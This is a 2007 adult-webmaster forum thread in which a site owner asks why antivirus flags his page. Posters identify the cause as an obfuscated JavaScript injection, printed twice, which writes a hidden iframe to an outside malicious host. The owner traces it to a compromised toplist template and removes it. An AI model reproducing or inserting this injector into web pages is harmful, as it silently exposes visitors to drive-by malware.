does this page load virus for you? - GoFuckYourself.com

zentz · 09-03-2007, 05:18 PM

http://www.studvids.com/main.php

My norton av reports a virus.

Risk name: http winzip activex control killbit

This is my page and i really dont know where is the virus coming from.

StarkReality · 09-03-2007, 05:23 PM

Looking at your code, you seem to use linkex, which can be exploited, any code can be inserted/run on your site as long as you don't use a fixed version...if there is already any.

Too lazy to dig the post, but the exploit was published here on GFY.

Well, best explanation I could find.

Pleasurepays · 09-03-2007, 05:24 PM

whats next? are you going to ask someone to stand in front of you pointing a gun at them while you pull the trigger to find out if its loaded?

jesus.

StarkReality · 09-03-2007, 05:26 PM

Quote:

Originally Posted by Pleasurepays

whats next? are you going to ask someone to stand in front of you pointing a gun at them while you pull the trigger to find out if its loaded?

jesus.

Just run a sandoxed browser on stuff like this

The Duck · 09-03-2007, 05:28 PM

I dont really want to.

Fletch XXX · 09-03-2007, 05:28 PM

*sending this link to mom*

Corleone · 09-03-2007, 05:29 PM

Quote:

Originally Posted by Pleasurepays

whats next? are you going to ask someone to stand in front of you pointing a gun at them while you pull the trigger to find out if its loaded?

jesus.

Spunky · 09-03-2007, 05:31 PM

Yes,my Norton blocked an attempt

Spunky · 09-03-2007, 05:34 PM

Yes,my Norton blocked an attempt

Quickdraw · 09-03-2007, 05:44 PM

here is the code if that helps. It produces an iframe to potipeople.info/index.php

Code:

 language="JavaScript"> eval(unescape("document.write%28String.fromCharCode%2860%2C105%2C102%2C114%2C97%2C109%2C101%2C32%2C115%2C114%2C99%2C61%2C34%2C104%2C116%2C116%2C112%2C58%2C47%2C47%2C112%2C111%2C116%2C105%2C112%2C101%2C111%2C112%2C108%2C101%2C46%2C105%2C110%2C102%2C111%2C47%2C47%2C105%2C110%2C100%2C101%2C120%2C46%2C112%2C104%2C112%2C34%2C32%2C119%2C105%2C100%2C116%2C104%2C61%2C34%2C48%2C34%2C32%2C104%2C101%2C105%2C103%2C104%2C116%2C61%2C34%2C48%2C34%2C62%2C60%2C47%2C105%2C102%2C114%2C97%2C109%2C101%2C62%29%29%3B"));

zentz · 09-03-2007, 05:49 PM

Quote:

Originally Posted by Quickdraw

here is the code if that helps. It produces an iframe to potipeople.info/index.php

Code:

 language="JavaScript"> eval(unescape("document.write&#37;28String.fromCharCode%2860%2C105%2C102%2C114%2C97%2C109%2C101%2C32%2C115%2C114%2C99%2C61%2C34%2C104%2C116%2C116%2C112%2C58%2C47%2C47%2C112%2C111%2C116%2C105%2C112%2C101%2C111%2C112%2C108%2C101%2C46%2C105%2C110%2C102%2C111%2C47%2C47%2C105%2C110%2C100%2C101%2C120%2C46%2C112%2C104%2C112%2C34%2C32%2C119%2C105%2C100%2C116%2C104%2C61%2C34%2C48%2C34%2C32%2C104%2C101%2C105%2C103%2C104%2C116%2C61%2C34%2C48%2C34%2C62%2C60%2C47%2C105%2C102%2C114%2C97%2C109%2C101%2C62%29%29%3B"));

now how did that come here!

Lonny · 09-03-2007, 05:51 PM

my antivir blocked an attempt.

zentz · 09-03-2007, 06:00 PM

the exploit was in my ATX toplist template. now to find out how did that come over there.

mattz · 09-03-2007, 06:03 PM

zents off topic here but I never see ya on icq anymore, can I renew my pa?

peterk · 09-03-2007, 06:41 PM

Yes indeed, my antivir blocked it

zentz · 09-03-2007, 06:48 PM

Quote:

Originally Posted by peterk

Yes indeed, my antivir blocked it

hehe you're just collecting posts, i removed the exploit 30 minutes ago ;)

Will Saucebox · 09-03-2007, 07:20 PM

ah just a sec...let me check...lol

09-03-2007, 05:18 PM	#1
zentz Confirmed User Industry Role: Join Date: Nov 2003 Posts: 8,053	does this page load virus for you? http://www.studvids.com/main.php My norton av reports a virus. Risk name: http winzip activex control killbit This is my page and i really dont know where is the virus coming from. __________________ Programs that owe me money ---- Epassporte.com ~ $2700 \| Protraffic.com ~ $2600 \| XonDemand.com ~ $3000 Email: [email protected]

09-03-2007, 05:28 PM	#5
The Duck Adult Content Provider Industry Role: Join Date: May 2005 Location: Europe Posts: 18,243	I dont really want to. __________________ Skype Horusmaia ICQ 41555245 Email [email protected]

09-03-2007, 05:28 PM	#6
Fletch XXX GFY HALL OF FAME DAMMIT!!! Join Date: Jan 2002 Location: that 504 Posts: 60,840	sending this link to mom __________________ Want an Android App for your tube, membership, or free site? Need banners or promo material? Hit us up (ICQ Fletch: 148841377) or email me fletchxxx at gmail.com - recent work - About me

09-03-2007, 05:31 PM	#8
Spunky I need a beer Industry Role: Join Date: Jun 2002 Location: ♠ Toiletville ♠ Posts: 133,943	Yes,my Norton blocked an attempt __________________ *YOUR INFORMATION HERE*

09-03-2007, 05:34 PM	#9
Spunky I need a beer Industry Role: Join Date: Jun 2002 Location: ♠ Toiletville ♠ Posts: 133,943	Yes,my Norton blocked an attempt __________________ *YOUR INFORMATION HERE*

09-03-2007, 05:23 PM	#2
StarkReality Confirmed User Join Date: May 2004 Location: 4 8 15 16 23 42 Posts: 4,444	Looking at your code, you seem to use linkex, which can be exploited, any code can be inserted/run on your site as long as you don't use a fixed version...if there is already any. Too lazy to dig the post, but the exploit was published here on GFY. Well, best explanation I could find.

09-03-2007, 05:24 PM	#3
Pleasurepays BANNED - SUPPORTING TUBES Join Date: Aug 2002 Location: I live in a pile of boogers Posts: 11,913	whats next? are you going to ask someone to stand in front of you pointing a gun at them while you pull the trigger to find out if its loaded? jesus.

09-03-2007, 05:51 PM	#12
Lonny Confirmed User Join Date: Jun 2003 Location: Riverside Ca. Posts: 3,539	my antivir blocked an attempt. __________________ crakrevenue

09-03-2007, 06:00 PM	#13
zentz Confirmed User Industry Role: Join Date: Nov 2003 Posts: 8,053	the exploit was in my ATX toplist template. now to find out how did that come over there. __________________ Programs that owe me money ---- Epassporte.com ~ $2700 \| Protraffic.com ~ $2600 \| XonDemand.com ~ $3000 Email: [email protected]

09-03-2007, 06:03 PM	#14
mattz Confirmed User Industry Role: Join Date: Dec 2001 Location: AZ Posts: 7,697	zents off topic here but I never see ya on icq anymore, can I renew my pa?

09-03-2007, 06:41 PM	#15
peterk Confirmed User Join Date: Aug 2007 Posts: 3,529	Yes indeed, my antivir blocked it __________________ Bogat mama ala cu loturi de trafic

09-03-2007, 07:20 PM	#17
Will Saucebox Confirmed User Join Date: Nov 2006 Location: Montreal Posts: 170	ah just a sec...let me check...lol __________________ ICQ: 483-976-163